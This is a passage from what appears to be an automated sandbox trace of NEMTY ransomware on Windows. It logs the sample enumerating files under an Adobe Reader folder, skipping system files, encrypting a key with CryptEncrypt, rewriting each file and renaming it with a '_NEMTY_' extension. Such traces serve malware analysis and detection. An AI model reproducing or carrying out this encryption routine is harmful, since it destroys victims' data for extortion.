hHeap=0x4f90000) returned 1 [0193.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.661] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reviews_super.gif", cAlternateFileName="RE1558~1.GIF")) returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2=".") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="..") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="...") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="windows") returned -1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="rsa") returned -1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="NTDETECT.COM") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="ntldr") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="MSDOS.SYS") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="IO.SYS") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="boot.ini") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="boot.ini") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="ntuser.dat") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="desktop.ini") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="CONFIG.SYS") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="RECYCLER") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="bootmgr") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="programdata") returned 1 [0193.661] lstrcmpiW (lpString1="reviews_super.gif", lpString2="appdata") returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_super.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_super.gif", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_super.gif", lpUsedDefaultChar=0x0) returned 17 [0193.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_super.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_super.gif", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_super.gif", lpUsedDefaultChar=0x0) returned 17 [0193.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_super.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_super.gif", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_super.gif", lpUsedDefaultChar=0x0) returned 17 [0193.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_super.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_super.gif", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_super.gif", lpUsedDefaultChar=0x0) returned 17 [0193.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.662] Sleep (dwMilliseconds=0x5) [0193.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27159350, dwHighDateTime=0x1d561e8)) [0193.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27159350, dwHighDateTime=0x1d561e8)) [0193.672] GetLastError () returned 0x0 [0193.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.672] GetLastError () returned 0x0 [0193.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.672] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.672] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.672] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.672] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="NNLsdsrJu/SEhdktL7geiI+mSvXm7j2nkha8Z1RVbChvyiSWZqJT3jbEE4Oe/0Mr\r\nYYm+EAz1FumROcn9uD9g6HHnc2X0hZ+bJ0H3D3VX28PUdqG39ltaz2flBtGSmFtv\r\nTbeYv00zuGcIOW4041Bm++BkUN127Oz/c9J4UdgFiy51kA1R+rKHN6x+jeQtLL+g\r\n9EnrJB3YbudndrxhegW+jRLBtnhEgW/amfAJGg0x9rFyEsZLbz4ZnQ4wrQt9d2as\r\ns+97mVKjNbJ0i1M47a+jLxA033KnazzJ+It7na4ol4N/A32MBKCqG1VMgkZIuDI9\r\ncp+62mGT11XuTqySWgzCxA==\r\n", pcchString=0x653e91c) returned 1 [0193.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.673] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=814) returned 1 [0193.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x320) returned 0x6340048 [0193.673] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.673] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x320, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x320, lpOverlapped=0x0) returned 1 [0193.675] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.675] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x320, lpOverlapped=0x0) returned 1 [0193.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.675] SetFilePointer (in: hFile=0x254, lDistanceToMove=814, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0193.675] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.675] CloseHandle (hObject=0x254) returned 1 [0193.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.675] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif._nemty_kgobjgd_")) returned 1 [0193.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.676] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="review_browser.gif", cAlternateFileName="REVIEW~3.GIF")) returned 1 [0193.676] lstrcmpiW (lpString1="review_browser.gif", lpString2=".") returned 1 [0193.676] lstrcmpiW (lpString1="review_browser.gif", lpString2="..") returned 1 [0193.676] lstrcmpiW (lpString1="review_browser.gif", lpString2="...") returned 1 [0193.676] lstrcmpiW (lpString1="review_browser.gif", lpString2="windows") returned -1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="rsa") returned -1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="NTDETECT.COM") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="ntldr") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="MSDOS.SYS") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="IO.SYS") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="boot.ini") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="boot.ini") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="ntuser.dat") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="desktop.ini") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="CONFIG.SYS") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="RECYCLER") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="bootmgr") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="programdata") returned 1 [0193.677] lstrcmpiW (lpString1="review_browser.gif", lpString2="appdata") returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_browser.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_browser.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_browser.gif", lpUsedDefaultChar=0x0) returned 18 [0193.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_browser.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_browser.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_browser.gif", lpUsedDefaultChar=0x0) returned 18 [0193.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_browser.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_browser.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_browser.gif", lpUsedDefaultChar=0x0) returned 18 [0193.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_browser.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_browser.gif", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_browser.gif", lpUsedDefaultChar=0x0) returned 18 [0193.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.678] Sleep (dwMilliseconds=0x5) [0193.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2717f4b0, dwHighDateTime=0x1d561e8)) [0193.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2717f4b0, dwHighDateTime=0x1d561e8)) [0193.688] GetLastError () returned 0x0 [0193.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.688] GetLastError () returned 0x0 [0193.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.688] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.688] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.688] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.688] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="iGKbPNDx1PWb3D0SeBFP7eRvgrzbckzrkForKDOUwTmU8gwXVAqzlmX9j1IClTre\r\ny69Zjj7b7mnHDkbe9u6neHZa3LLG6L2cNIwxjzoWnJI3ikCpk/16lKpAIlFr8pe7\r\n9Dnx44FzvRNr5fl62gs1ymr1KBE1AGroiWXa9NLfbRvhFGieCGqwGJyxIxHYZfoa\r\ngj8oAju0HpjU45G3KQ/ib4zDHtejGOjd6QKL+QKWRgRSBmGAUHGObAuefW6awM6r\r\n5btCIe2v6kSqbyRo55IJgQQGeqjUfO39J79Ag6N1bo4HnvYg4MM808tjK1y+/Qan\r\nayjYqyEI6bVN8koe4AniFQ==\r\n", pcchString=0x653e91c) returned 1 [0193.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.688] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_browser.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.689] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1151) returned 1 [0193.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x470) returned 0x6340048 [0193.689] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.689] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x470, lpOverlapped=0x0) returned 1 [0193.690] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.691] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x470, lpOverlapped=0x0) returned 1 [0193.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.691] SetFilePointer (in: hFile=0x254, lDistanceToMove=1151, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x47f [0193.691] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.691] CloseHandle (hObject=0x254) returned 1 [0193.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 